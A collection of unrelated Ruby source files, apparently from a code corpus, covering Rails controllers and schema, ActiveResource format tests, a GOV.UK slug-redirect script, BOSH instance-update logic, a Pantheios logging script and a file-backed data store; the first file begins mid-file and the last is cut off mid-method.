expect(response).to have_gitlab_http_status(200) expect(json_response).to contain_exactly( a_hash_including( "name" => project.name, "url" => "http://#{project.name}.#{namespace.namespace}.example.com" ) ) end it 'has data in html' do get :index, params: params expect(response).to have_gitlab_http_status(200) end end end
28.990826
118
0.653481
7a43f24813b42705f8eb52c58101dfc2e80d2225
2,831
# encoding: UTF-8 # This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # Note that this schema.rb definition is the authoritative source for your # database schema. If you need to create the application database on another # system, you should be using db:schema:load, not running all the migrations # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 20150908180817) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" create_table "devices", force: :cascade do |t| t.string "name" t.string "description" t.integer "code" t.string "status" t.integer "room_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false end create_table "homes", force: :cascade do |t| t.string "name" t.string "description" t.string "address" t.string "city" t.string "state" t.string "zip_code" t.datetime "created_at", null: false t.datetime "updated_at", null: false end create_table "properties", force: :cascade do |t| t.integer "user_id" t.integer "home_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false end add_index "properties", ["home_id"], name: "index_properties_on_home_id", using: :btree add_index "properties", ["user_id", "home_id"], name: "index_properties_on_user_id_and_home_id", unique: true, using: :btree add_index "properties", ["user_id"], name: "index_properties_on_user_id", using: :btree create_table "rooms", force: :cascade do |t| t.string "name" t.text "description" t.integer "home_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false end create_table "user_devices", force: :cascade do |t| t.integer "user_id" t.integer "device_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false end create_table "users", force: :cascade do |t| t.string "name" t.string "first_name" t.string "last_name" t.string "email" t.string "password_digest" t.string "token" t.integer "expires" t.string "picture" t.string "jwt" t.datetime "created_at", null: false t.datetime "updated_at", null: false end add_index "users", ["email"], name: "index_users_on_email", unique: true, using: :btree end
34.108434
126
0.691275
87f78d82ecf534aa71f64989a653e060ac1e2e3a
759
class ResultsController < ApplicationController def index @results = current_user.results json_response(@results) end def show @result = Result.find(params[:id]) render json: @result end def create @result = current_user.results.create!(result_params) json_response(@result, :created) end def edit @result = Result.find(params[:id]) end def update @result = Result.find(params[:id]) if @result.update(result_params) redirect_to @result else render :edit end end private def result_params params.require(:result) .permit( :writing_score, :speaking_score, :reading_score, :listening_score, :overall_score ) end end
16.866667
57
0.638999
d561a25bc3c2b12cc75ebeeabaa505930577373a
280
module Spiffy class SpiffyController < ApplicationController class << self def super_spiffy_loaded? true end def common_method "Super Spiffy" end end def super_spiffy render :text => "Im super spiffy" end end end
16.470588
48
0.614286
f8d33f99faba8e9d3f87efe630c3d337b75b675d
4,720
require 'abstract_unit' require "fixtures/person" require "fixtures/street_address" class FormatTest < Test::Unit::TestCase def setup @matz = { :id => 1, :name => 'Matz' } @david = { :id => 2, :name => 'David' } @programmers = [ @matz, @david ] end def test_http_format_header_name header_name = ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:get] assert_equal 'Accept', header_name headers_names = [ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:put], ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:post]] headers_names.each{ |name| assert_equal 'Content-Type', name } end def test_formats_on_single_element for format in [ :json, :xml ] using_format(Person, format) do ActiveResource::HttpMock.respond_to.get "/people/1.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david) assert_equal @david[:name], Person.find(1).name end end end def test_formats_on_collection for format in [ :json, :xml ] using_format(Person, format) do ActiveResource::HttpMock.respond_to.get "/people.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@programmers) remote_programmers = Person.find(:all) assert_equal 2, remote_programmers.size assert remote_programmers.find { |p| p.name == 'David' } end end end def test_formats_on_custom_collection_method for format in [ :json, :xml ] using_format(Person, format) do ActiveResource::HttpMock.respond_to.get "/people/retrieve.#{format}?name=David", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode([@david]) remote_programmers = Person.get(:retrieve, :name => 'David') assert_equal 1, remote_programmers.size assert_equal @david[:id], remote_programmers[0]['id'] assert_equal @david[:name], remote_programmers[0]['name'] end end end def test_formats_on_custom_element_method for format in [ :json, :xml ] using_format(Person, format) do ActiveResource::HttpMock.respond_to do |mock| mock.get "/people/2.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david) mock.get "/people/2/shallow.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david) end remote_programmer = Person.find(2).get(:shallow) assert_equal @david[:id], remote_programmer['id'] assert_equal @david[:name], remote_programmer['name'] end end for format in [ :json, :xml ] ryan = ActiveResource::Formats[format].encode({ :name => 'Ryan' }) using_format(Person, format) do remote_ryan = Person.new(:name => 'Ryan') ActiveResource::HttpMock.respond_to.post "/people.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, ryan, 201, {'Location' => "/people/5.#{format}"} remote_ryan.save remote_ryan = Person.new(:name => 'Ryan') ActiveResource::HttpMock.respond_to.post "/people/new/register.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, ryan, 201, {'Location' => "/people/5.#{format}"} assert_equal ActiveResource::Response.new(ryan, 201, {'Location' => "/people/5.#{format}"}), remote_ryan.post(:register) end end end def test_setting_format_before_site resource = Class.new(ActiveResource::Base) resource.format = :json resource.site = 'http://37s.sunrise.i:3000' assert_equal ActiveResource::Formats[:json], resource.connection.format end def test_serialization_of_nested_resource address = { :street => '12345 Street' } person = { :name => 'Rus', :address => address} [:json, :xml].each do |format| encoded_person = ActiveResource::Formats[format].encode(person) assert_match(/12345 Street/, encoded_person) remote_person = Person.new(person.update({:address => StreetAddress.new(address)})) assert_kind_of StreetAddress, remote_person.address using_format(Person, format) do ActiveResource::HttpMock.respond_to.post "/people.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, encoded_person, 201, {'Location' => "/people/5.#{format}"} remote_person.save end end end private def using_format(klass, mime_type_reference) previous_format = klass.format klass.format = mime_type_reference yield ensure klass.format = previous_format end end
41.769912
194
0.68178
62ae82858a3ee37225b6cb7ff9bcc028172fa29a
1,961
require "gds_api/router" router = GdsApi::Router.new(Plek.find("router-api")) document_publications_urls = [ %w(applying-for-a-uk-visa-in-japan apply-for-a-uk-visa-in-japan), %w(argentina-apply-for-a-uk-visa apply-for-a-uk-visa-in-argentina), %w(bankruptcy-what-will-happen-to-my-pension bankruptcy-pension), %w(can-my-bankruptcy-be-cancelled cancel-bankruptcy-order), %w(chile-apply-for-a-uk-visa apply-for-a-uk-visa-in-chile), %w(dealing-with-debt-how-to-make-someone-bankrupt apply-to-make-someone-bankrupt), %w(kuwait-apply-for-a-uk-visa apply-for-a-uk-visa-in-kuwait), %w(russia-apply-for-a-uk-visa apply-for-a-uk-visa-in-russia), %w(saudi-arabia-apply-for-a-uk-visa apply-for-a-uk-visa-in-saudi-arabia), %w(what-will-happen-to-my-home bankruptcy-your-home), ] document_collections_urls = [ %w(chapter-6-businessmen-and-investors-immigration-directorate-instructions chapter-06-businessmen-and-investors-immigration-directorate-instructions), ] document_publications_urls.each do |old_slug, new_slug| changeling = Document.find_by(slug: old_slug) if changeling puts "Changing document slug #{old_slug} -> #{new_slug}" changeling.update_attribute(:slug, new_slug) router.add_redirect_route("/government/publications/#{old_slug}", "exact", "/government/publications/#{new_slug}") else puts "Can't find document with slug of #{old_slug} - skipping" end end document_collections_urls.each do |old_slug, new_slug| changeling = Document.find_by(slug: old_slug) if changeling puts "Changing document slug #{old_slug} -> #{new_slug}" changeling.update_attribute(:slug, new_slug) router.add_redirect_route("/government/collections/#{old_slug}", "exact", "/government/collections/#{new_slug}") else puts "Can't find document with slug of #{old_slug} - skipping" end end
40.854167
153
0.700153
91a65d92cb34bf19329187a2edba1c1d07ddbcb8
199
# This migration comes from spree (originally 20130203232234) class AddIdentifierToSpreePayments < ActiveRecord::Migration def change add_column :spree_payments, :identifier, :string end end
28.428571
61
0.80402
284de678912f0e9890be6767a8123451b14d047e
362
module Databender class ForeignConstraint attr_accessor :table_name, :column_name, :ref_table_name, :ref_column_name def initialize(table_name, column_name, ref_table_name, ref_column_name) @table_name = table_name @column_name = column_name @ref_table_name = ref_table_name @ref_column_name = ref_column_name end end end
30.166667
78
0.754144
01483906612be4935cb76b60a8f46e83105afd99
3,244
require 'rails_helper' describe Chapter do let(:git) { Git.new("radar", "markdown_book_test") } let(:book) { FactoryBot.create(:book) } before do FileUtils.rm_rf(git.path) git.update! book.path = 'spec/fixtures/repos/radar/markdown_book_test' end it "can process markdown" do chapter = book.chapters.find_or_create_by( file_name: "chapter_1/chapter_1.markdown", part: "mainmatter" ) expect do chapter.process! end.not_to raise_error end context "updating an existing chapter" do let(:chapter) do book.chapters.create!( title: "Introduction", file_name: "chapter_1/chapter_1.markdown" ) end let!(:element_1) do element = chapter.elements.create! element.notes.create! element end let!(:element_2) do chapter.elements.create! end it "keeps elements with notes" do chapter.process! chapter.reload expect { element_1.reload }.not_to raise_error expect { element_2.reload }.to raise_error(ActiveRecord::RecordNotFound) end end context "navigation" do context "chapter 1" do let(:chapter) do book.chapters.find_or_create_by( file_name: "chapter_1/chapter_1.markdown", position: 1, part: "mainmatter" ) end it "links back to only chapter in previous part" do introduction = book.chapters.create( title: "Introduction", position: 1, part: "frontmatter" ) expect(chapter.previous_chapter).to eq(introduction) end it "links back to highest positioned chapter in previous part" do introduction = book.chapters.create( title: "Introduction", position: 1, part: "frontmatter" ) foreword = book.chapters.create( title: "Introduction", position: 2, part: "frontmatter" ) expect(chapter.previous_chapter).to eq(foreword) end it "links to next chapter in same part" do chapter_2 = book.chapters.create( title: "Chapter 2", position: 2, part: "mainmatter" ) expect(chapter.next_chapter).to eq(chapter_2) end end context "last chapter of part" do let!(:chapter_1) do book.chapters.find_or_create_by( file_name: "chapter_1/chapter_1.markdown", position: 1, part: "mainmatter" ) end let!(:chapter_2) do book.chapters.find_or_create_by( file_name: "chapter_2/chapter_2.markdown", position: 2, part: "mainmatter" ) end it "links back to previous chapter" do expect(chapter_2.previous_chapter).to eq(chapter_1) end it "links to first chapter in next part" do appendix_a = book.chapters.create( title: "Appendix A", position: 1, part: "backmatter" ) appendix_b = book.chapters.create( title: "Appendix B", position: 2, part: "backmatter" ) expect(chapter_2.next_chapter).to eq(appendix_a) end end end end
23.507246
78
0.59217
3367f4fe73ec059ec4be0379be2f8a7aaf42aea6
4,631
class WidgetPresenter include ApplicationHelper include ActionView::Helpers::UrlHelper def initialize(view, controller, widget) @view = view @controller = controller @widget = widget @sb = controller.instance_eval { @sb } end extend Forwardable def_delegators(:@controller, :current_user, :url_for, :initiate_wait_for_task, :session_init, :session_reset, :start_url_for_user) attr_reader :widget def render_partial @controller.render_to_string(:template => 'dashboard/_widget', :handler => [:haml], :layout => false, :locals => {:presenter => self}).html_safe end def widget_html_options(widget_content_type) if widget_content_type == "chart" {:title => _("Open the chart and full report in a new window"), :data_miq_confirm => _("This will show the chart and the entire report " \ "(all rows) in your browser. Do you want to proceed?")} else {:title => _("Open the full report in a new window"), :data_miq_confirm => _("This will show the entire report (all rows) in your browser. " \ "Do you want to proceed?")} end end def button_fullscreen options = {:action => "report_only", :type => @widget.content_type == "chart" ? "hybrid" : "tabular", :rr_id => @widget.contents_for_user(current_user).miq_report_result_id} html_options = widget_html_options(@widget.content_type) @view.link_to(@view.content_tag(:span, '', :class => 'fa fa-arrows-alt fa-fw') + _(" Full Screen"), options, :id => "w_#{@widget.id}_fullscreen", :title => html_options[:title], "data-miq_confirm" => html_options[:data_miq_confirm], :onclick => "return miqClickAndPop(this);") end def button_close unless @sb[:dashboards][@sb[:active_db]][:locked] options = {:controller => "dashboard", :action => "widget_close", :widget => @widget.id} @view.link_to(@view.content_tag(:span, '', :class => 'fa fa-times fa-fw') + _(" Remove Widget"), options, :id => "w_#{@widget.id}_close", :title => _("Remove from Dashboard"), :remote => true, 'data-method' => :post, :confirm => _("Are you sure you want to remove '%{title}'" \ "from the Dashboard?") % {:title => @widget.title}, 'data-miq_sparkle_on' => true) end end def button_minmax minimized = @sb[:dashboards][@sb[:active_db]][:minimized].include?(@widget.id) title = minimized ? _(" Maximize") : _(" Minimize") options = {:controller => "dashboard", :action => "widget_toggle_minmax", :widget => @widget.id} @view.link_to(@view.content_tag(:span, '', :class => "fa fa-caret-square-o-#{minimized ? 'down' : 'up'} fa-fw") + title, options, :id => "w_#{@widget.id}_minmax", :title => title, :remote => true, 'data-method' => :post) end def button_pdf if PdfGenerator.available? && %w(report chart).include?(@widget.content_type) options = {:action => "widget_to_pdf", :rr_id => @widget.contents_for_user(current_user).miq_report_result_id} @view.link_to(@view.content_tag(:span, '', :class => 'fa fa-file-pdf-o fa-fw') + _(" Download PDF"), options, :id => "w_#{@widget.id}_pdf", :title => _("Download the full report (all rows) as a PDF file")) end end def button_zoom options = {:controller => "dashboard", :action => "widget_zoom", :widget => @widget.id} @view.link_to(@view.content_tag(:span, '', :class => "fa fa-plus fa-fw") + _(" Zoom in"), options, :id => "w_#{@widget.id}_zoom", :title => _("Zoom in on this chart"), "data-miq_sparkle_on" => true, :remote => true, 'data-method' => :post) end def self.chart_data @chart_data ||= [] end def self.reset_data @chart_data = [] end end
42.1
114
0.515008
61eb4e88566a55ed9b31402d7c20110ca1bdbdf4
1,084
# frozen_string_literal: true class Parser::Source::Range def succ adjust(begin_pos: +1, end_pos: +1) end def wrap_rwhitespace(whitespaces: /\A\s+/) whitespace = @source_buffer.slice(end_pos..-1)[whitespaces] || '' adjust(end_pos: whitespace.size) end def wrap_rwhitespace_and_comments(whitespaces: /\A\s+/) current = wrap_rwhitespace(whitespaces: whitespaces) while @source_buffer.slice(current.end_pos) == '#' comment = @source_buffer.slice(current.end_pos..-1)[/\A[^\n]+/] || '' current = current.adjust(end_pos: comment.size).wrap_rwhitespace(whitespaces: whitespaces) end current end # Only wraps anything if there is a comment to wrap on the last line # Will wrap the whitespace before the comment def wrap_final_comment current = wrap_rwhitespace(whitespaces: /\A[ \t\r\f]+/) if @source_buffer.slice(current.end_pos) != '#' # No comment, do nothing return self end comment = @source_buffer.slice(current.end_pos..-1)[/\A[^\n]+/] || '' current.adjust(end_pos: comment.size) end end
31.882353
96
0.683579
91baafe0591aaed9ba3151b784353f30a3e53337
10,171
require 'bosh/director/rendered_job_templates_cleaner' module Bosh::Director class InstanceUpdater include DnsHelper UPDATE_STEPS = 7 WATCH_INTERVALS = 10 attr_reader :current_state # @params [DeploymentPlan::Instance] instance def initialize(instance, event_log_task, job_renderer) @instance = instance @event_log_task = event_log_task @job_renderer = job_renderer @cloud = Config.cloud @logger = Config.logger @blobstore = App.instance.blobstores.blobstore @job = instance.job @target_state = @instance.state @deployment_plan = @job.deployment @resource_pool = @job.resource_pool @update_config = @job.update @vm = @instance.model.vm @current_state = {} @agent = AgentClient.with_defaults(@vm.agent_id) end def step yield report_progress end def report_progress @event_log_task.advance(100.0 / update_steps()) end def update_steps @instance.job_changed? || @instance.packages_changed? ? UPDATE_STEPS + 1 : UPDATE_STEPS end def update(options = {}) @canary = options.fetch(:canary, false) @logger.info("Updating instance #{@instance}, changes: #{@instance.changes.to_a.join(', ')}") # Optimization to only update DNS if nothing else changed. if dns_change_only? update_dns return end step { Preparer.new(@instance, agent, @logger).prepare } step { stop } step { take_snapshot } if @target_state == "detached" vm_updater.detach return end step { update_resource_pool(nil) } step { update_networks } step { update_dns } step { update_persistent_disk } VmMetadataUpdater.build.update(@vm, {}) step { apply_state(@instance.spec) } RenderedJobTemplatesCleaner.new(@instance.model, @blobstore).clean start! if need_start? step { wait_until_running } if @target_state == "started" && current_state["job_state"] != "running" raise AgentJobNotRunning, "`#{@instance}' is not running after update" end if @target_state == "stopped" && current_state["job_state"] == "running" raise AgentJobNotStopped, "`#{@instance}' is still running despite the stop command" end end # Watch times don't include the get_state roundtrip time, so effective # max watch time is roughly: # max_watch_time + N_WATCH_INTERVALS * avg_roundtrip_time def wait_until_running watch_schedule(min_watch_time, max_watch_time).each do |watch_time| sleep_time = watch_time.to_f / 1000 @logger.info("Waiting for #{sleep_time} seconds to check #{@instance} status") sleep(sleep_time) @logger.info("Checking if #{@instance} has been updated after #{sleep_time} seconds") @current_state = agent.get_state if @target_state == "started" break if current_state["job_state"] == "running" elsif @target_state == "stopped" break if current_state["job_state"] != "running" end end end def start! agent.start rescue RuntimeError => e # FIXME: this is somewhat ghetto: we don't have a good way to # negotiate on BOSH protocol between director and agent (yet), # so updating from agent version that doesn't support 'start' RPC # to the one that does might be hard. Right now we decided to # just swallow the exception. # This needs to be removed in one of the following cases: # 1. BOSH protocol handshake gets implemented # 2. All agents updated to support 'start' RPC # and we no longer care about backward compatibility. @logger.warn("Agent start raised an exception: #{e.inspect}, ignoring for compatibility") end def need_start? @target_state == 'started' end def dns_change_only? @instance.changes.include?(:dns) && @instance.changes.size == 1 end def stop stopper = Stopper.new(@instance, agent, @target_state, Config, @logger) stopper.stop end def take_snapshot Api::SnapshotManager.take_snapshot(@instance.model, clean: true) end def delete_snapshots(disk) Api::SnapshotManager.delete_snapshots(disk.snapshots) end def apply_state(state) @vm.update(:apply_spec => state) agent.apply(state) end # Retrieve list of mounted disks from the agent # @return [Array<String>] list of disk CIDs def disk_info return @disk_list if @disk_list begin @disk_list = agent.list_disk rescue RuntimeError # old agents don't support list_disk rpc [@instance.persistent_disk_cid] end end def delete_disk(disk, vm_cid) disk_cid = disk.disk_cid # Unmount the disk only if disk is known by the agent if agent && disk_info.include?(disk_cid) agent.unmount_disk(disk_cid) end begin @cloud.detach_disk(vm_cid, disk_cid) if vm_cid rescue Bosh::Clouds::DiskNotAttached if disk.active raise CloudDiskNotAttached, "`#{@instance}' VM should have persistent disk attached " + "but it doesn't (according to CPI)" end end delete_snapshots(disk) begin @cloud.delete_disk(disk_cid) rescue Bosh::Clouds::DiskNotFound if disk.active raise CloudDiskMissing, "Disk `#{disk_cid}' is missing according to CPI but marked " + "as active in DB" end end disk.destroy end def update_dns return unless @instance.dns_changed? domain = @deployment_plan.dns_domain @instance.dns_record_info.each do |record_name, ip_address| @logger.info("Updating DNS for: #{record_name} to #{ip_address}") update_dns_a_record(domain, record_name, ip_address) update_dns_ptr_record(record_name, ip_address) end end def update_resource_pool(new_disk_cid) @vm, @agent = vm_updater.update(new_disk_cid) end # Synchronizes persistent_disks with the agent. # (Currently assumes that we only have 1 persistent disk.) # @return [void] def check_persistent_disk return if @instance.model.persistent_disks.empty? agent_disk_cid = disk_info.first if agent_disk_cid != @instance.model.persistent_disk_cid raise AgentDiskOutOfSync, "`#{@instance}' has invalid disks: agent reports " + "`#{agent_disk_cid}' while director record shows " + "`#{@instance.model.persistent_disk_cid}'" end @instance.model.persistent_disks.each do |disk| unless disk.active @logger.warn("`#{@instance}' has inactive disk #{disk.disk_cid}") end end end def update_persistent_disk vm_updater.attach_missing_disk check_persistent_disk disk_cid = nil disk = nil return unless @instance.persistent_disk_changed? old_disk = @instance.model.persistent_disk if @job.persistent_disk > 0 @instance.model.db.transaction do disk_cid = @cloud.create_disk(@job.persistent_disk, @vm.cid) disk = Models::PersistentDisk.create(:disk_cid => disk_cid, :active => false, :instance_id => @instance.model.id, :size => @job.persistent_disk) end begin @cloud.attach_disk(@vm.cid, disk_cid) rescue Bosh::Clouds::NoDiskSpace => e if e.ok_to_retry @logger.warn("Retrying attach disk operation " + "after persistent disk update failed") # Recreate the vm update_resource_pool(disk_cid) begin @cloud.attach_disk(@vm.cid, disk_cid) rescue @cloud.delete_disk(disk_cid) disk.destroy raise end else @cloud.delete_disk(disk_cid) disk.destroy raise end end begin agent.mount_disk(disk_cid) agent.migrate_disk(old_disk.disk_cid, disk_cid) if old_disk rescue delete_disk(disk, @vm.cid) raise end end @instance.model.db.transaction do old_disk.update(:active => false) if old_disk disk.update(:active => true) if disk end delete_disk(old_disk, @vm.cid) if old_disk end def update_networks network_updater = NetworkUpdater.new(@instance, @vm, agent, vm_updater, @cloud, @logger) @vm, @agent = network_updater.update end # Returns an array of wait times distributed # on the [min_watch_time..max_watch_time] interval. # # Tries to respect intervals but doesn't allow an interval to # fall under 1 second. # All times are in milliseconds. # @param [Numeric] min_watch_time minimum time to watch the jobs # @param [Numeric] max_watch_time maximum time to watch the jobs # @param [Numeric] intervals number of intervals between polling # the state of the jobs # @return [Array<Numeric>] watch schedule def watch_schedule(min_watch_time, max_watch_time, intervals = WATCH_INTERVALS) delta = (max_watch_time - min_watch_time).to_f step = [1000, delta / (intervals - 1)].max [min_watch_time] + ([step] * (delta / step).floor) end def min_watch_time canary? ? @update_config.min_canary_watch_time : @update_config.min_update_watch_time end def max_watch_time canary? ? @update_config.max_canary_watch_time : @update_config.max_update_watch_time end def canary? @canary end attr_reader :agent def vm_updater # Do not memoize to avoid caching same VM and agent # which could be replaced after updating a VM VmUpdater.new(@instance, @vm, agent, @job_renderer, @cloud, 3, @logger) end end end
30.00295
99
0.630715
0310241a12b1c313f52fcc48f1d6801fff834329
561
# frozen_string_literal: true module Facts module El module Os class Release FACT_NAME = 'os.release' ALIASES = %w[operatingsystemmajrelease operatingsystemrelease].freeze def call_the_resolver version = Facter::Resolvers::OsRelease.resolve(:version_id) [Facter::ResolvedFact.new(FACT_NAME, full: version, major: version), Facter::ResolvedFact.new(ALIASES.first, version, :legacy), Facter::ResolvedFact.new(ALIASES.last, version, :legacy)] end end end end end
26.714286
78
0.659537
79a36def81b00fab053a63fac4fc6b79887c2ecc
1,634
#-- copyright # OpenProject is an open source project management software. # Copyright (C) 2012-2020 the OpenProject GmbH # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License version 3. # # OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: # Copyright (C) 2006-2017 Jean-Philippe Lang # Copyright (C) 2010-2013 the ChiliProject Team # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # # See docs/COPYRIGHT.rdoc for more details. #++ require_relative 'base' class Tables::Categories < Tables::Base def self.table(migration) create_table migration do |t| t.integer :project_id, default: 0, null: false t.string :name, limit: 256, null: false, default: '' t.integer :assigned_to_id t.index :assigned_to_id, name: 'index_categories_on_assigned_to_id' t.index :project_id, name: 'issue_categories_project_id' end end end
38
91
0.749082
1df3ec03a3529c92ea63c1d40a32b91f02d2b090
258
class CreateCategories < ActiveRecord::Migration def change create_table :categories do |t| t.string :title t.string :ancestry t.integer :position t.timestamps null: false end add_index :categories, :ancestry end end
19.846154
48
0.678295
e86cb912ec8c29b8c16b222199bf68c3aaf90b6e
684
require_relative '../../../../../environments/rspec_env' shared_examples_for 'a named model' do # clazz must be defined by the calling file let(:model) { clazz.new } it 'has a name' do expect(model).to respond_to(:name) end it 'can change its name' do expect(model).to respond_to(:name=) model.name = :some_name expect(model.name).to eq(:some_name) model.name = :some_other_name expect(model.name).to eq(:some_other_name) end describe 'abstract instantiation' do context 'a new named object' do let(:model) { clazz.new } it 'starts with no name' do expect(model.name).to be_nil end end end end
17.1
56
0.644737
08e492fec3fa0252d1d2c59ec46fd0a95451122c
1,340
# frozen_string_literal: true require 'weather_destination/version' require 'uri' require 'net/http' require 'openssl' module WeatherDestination class << self attr_accessor :api_token BASE_URL = 'https://api.weatherapi.com/v1/' def config yield self end def call(method_name, params) @params = params get_data(method_name) rescue StandardError => e p e.message end private def get_data(method_name) query_data = WeatherDestination.const_get(method_name.classify).instance.query_data(@params) return_data(method_name, query_data) rescue StandardError => e p "We are sorry but #{method_name} resource is a wrong resource. Please check api documentation." end def get_response(url) http = Net::HTTP.new(url.host, url.port) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE request = Net::HTTP::Get.new(url) response = http.request(request) JSON.parse(response.read_body).with_indifferent_access end def return_data(method, query_data) url = URI("#{BASE_URL}#{method}.json?key=#{api_token}&#{query_data}") get_response(url) end end end %w[ /weather_destination/*.rb ].each do |folder| Dir[File.dirname(__FILE__) + folder].sort.each { |file| require file } end
23.928571
103
0.683582
ed1d7d0a7c7d7403f7d2b4ef64d05b765d1593bd
2,299
#!/usr/bin/env ruby ############################################################################# # File: test/scratch/multiplexing_log_service.rb # # Purpose: COMPLETE_ME # # Created: 7th February 2018 # Updated: 7th February 2018 # # Author: Matthew Wilson # # Copyright: <<TBD>> # ############################################################################# $:.unshift File.join(File.dirname(__FILE__), *(['..'] * 2), 'lib') require 'pantheios' require 'pantheios/application_layer/stock_severity_levels' require 'pantheios/services' $num_BLS_sls = 0 $num_ELS_sls = 0 class BenchmarkLogService def severity_logged? severity $num_BLS_sls += 1 (0..100).each { |n| n ** n } :benchmark == severity.to_s.to_sym end def log sev, t, pref, msg puts "BENCHMARK: #{pref}#{msg}\n" end end class EventLogService def severity_logged? severity $num_ELS_sls += 1 case severity.to_s.to_sym when :notice, :warning, :failure, :critical, :alert, :violation true when :warn, :error, :emergency true else false end end def log sev, t, pref, msg puts "EVENTLOG: #{pref}#{msg}\n" end end scls = Pantheios::Services::SimpleConsoleLogService.new def scls.severity_logged? severity; ![ :benchmark, :trace, :violation ].include? severity; end services = [ BenchmarkLogService.new, EventLogService.new, scls, ] lcm = :none #lcm = :thread_fixed #lcm = :process_fixed unsync = false #unsync = true Pantheios::Core.set_service Pantheios::Services::MultiplexingLogService.new(services, level_cache_mode: lcm, unsyc_process_lcm: unsync) include Pantheios t_b = Time.now log :benchmark, 'statement at benchmark' (0..100000).each { log :trace, 'statement at trace' } log :debug4, 'statement at debug-4' log :debug3, 'statement at debug-3' log :debug2, 'statement at debug-2' log :debug1, 'statement at debug-1' log :debug0, 'statement at debug-0' log :informational, 'statement at informational' log :notice, 'statement at notice' log :warning, 'statement at warning' log :failure, 'statement at failure' log :critical, 'statement at critical' log :alert, 'statement at alert' log :violation, 'statement at violation' t_a = Time.now $stderr.puts "mode= :#{lcm}; t=#{t_a - t_b}; #BLS=#{$num_BLS_sls}; #ELS=#{$num_ELS_sls}"
20.9
135
0.653328
d57d42f43237b57151b22d90dcd00c8ad15a6b03
2,616
require_relative "base" require "json" require "yaml" module MCollective module Util class Playbook class DataStores class FileDataStore < Base attr_accessor :file, :format, :create def startup_hook @file_mutex = Mutex.new end def from_hash(properties) @file = properties["file"] @format = properties["format"] @create = !!properties["create"] validate_configuration! self end def validate_configuration! raise("No file given to use as data source") unless @file raise("No file format given") unless @format raise("File format has to be one of 'json' or 'yaml'") unless ["json", "yaml"].include?(@format) @file = File.expand_path(@file) FileUtils.touch(@file) if @create && !File.exist?(@file) raise("Cannot find data file %s" % @file) unless File.exist?(@file) raise("Cannot read data file %s" % @file) unless File.readable?(@file) raise("Cannot write data file %s" % @file) unless File.writable?(@file) raise("The data file must contain a Hash or be empty") unless data.is_a?(Hash) end def data @file_mutex.synchronize do parse_data end end def parse_data return({}) if File.size(@file) == 0 case @format when "json" JSON.parse(File.read(@file)) when "yaml" YAML.load(File.read(@file)) end end def save_data(raw_data) File.open(@file, "w") do |f| case @format when "json" f.print(JSON.dump(raw_data)) when "yaml" f.print(YAML.dump(raw_data)) end end end def read(key) raise("No such key %s" % [key]) unless include?(key) data[key] end def write(key, value) @file_mutex.synchronize do raw_data = parse_data raw_data[key] = value save_data(raw_data) end read(key) end def delete(key) @file_mutex.synchronize do raw_data = parse_data raw_data.delete(key) save_data(raw_data) end end def include?(key) data.include?(key) end end end end end end
24.448598
108
0.496177
91b59612e33df4d2e3e8bd969b09f964fc323158
3,636
class TasksController < ApplicationController # The sortable method requires these helper_method :sort_column, :sort_direction # GET my/tasks # GET /tasks.xml def my_index authorize! :read, Task @tasks = Task.where(:user_id => current_user.id).order(sort_column + " " + sort_direction).page(permitted_params[:page]).per(20) render "index" end # GET /tasks # GET /tasks.xml def index authorize! :read, Task @tasks = Task.order(sort_column + " " + sort_direction).page(permitted_params[:page]).per(20) respond_to do |format| format.html # index.html.erb end end # GET /tasks/1 # GET /tasks/1.xml def show authorize! :read, Task @task = Task.find(permitted_params[:id]) @comment = Comment.new(:task_id => @task.id, :comment => 'Enter a new comment') respond_to do |format| format.html # show.html.erb end end # GET /tasks/new # GET /tasks/new.xml def new authorize! :create, Task @users_select = User.all.order(:last_name).collect {|u| [ u.first_name + ' ' + u.last_name, u.id ]} @task = Task.new respond_to do |format| format.html # new.html.erb end end # GET /tasks/1/edit def edit authorize! :update, Task @users_select = User.all.order(:last_name).collect {|u| [ u.first_name + ' ' + u.last_name, u.id ]} @task = Task.find(permitted_params[:id]) end # POST /tasks # POST /tasks.xml def create authorize! :create, Task @task = Task.new(permitted_params[:task]) @comment = Comment.new(:task_id => @task.id, :comment => 'Enter a new comment') respond_to do |format| if @task.save @url = task_path(@task, :only_path => false) begin UserMailer.task_assigned(@task, @url).deliver format.html { redirect_to(@task, :notice => 'Task was successfully created.') } rescue format.html { redirect_to(@task, :flash => { :warning => 'Task was successfully created, but there was an error sending the notification email.'}) } end else @users_select = User.all.order(:last_name).collect {|u| [ u.first_name + ' ' + u.last_name, u.id ]} format.html { render :action => "new" } end end end # PUT /tasks/1 # PUT /tasks/1.xml def update authorize! :update, Task 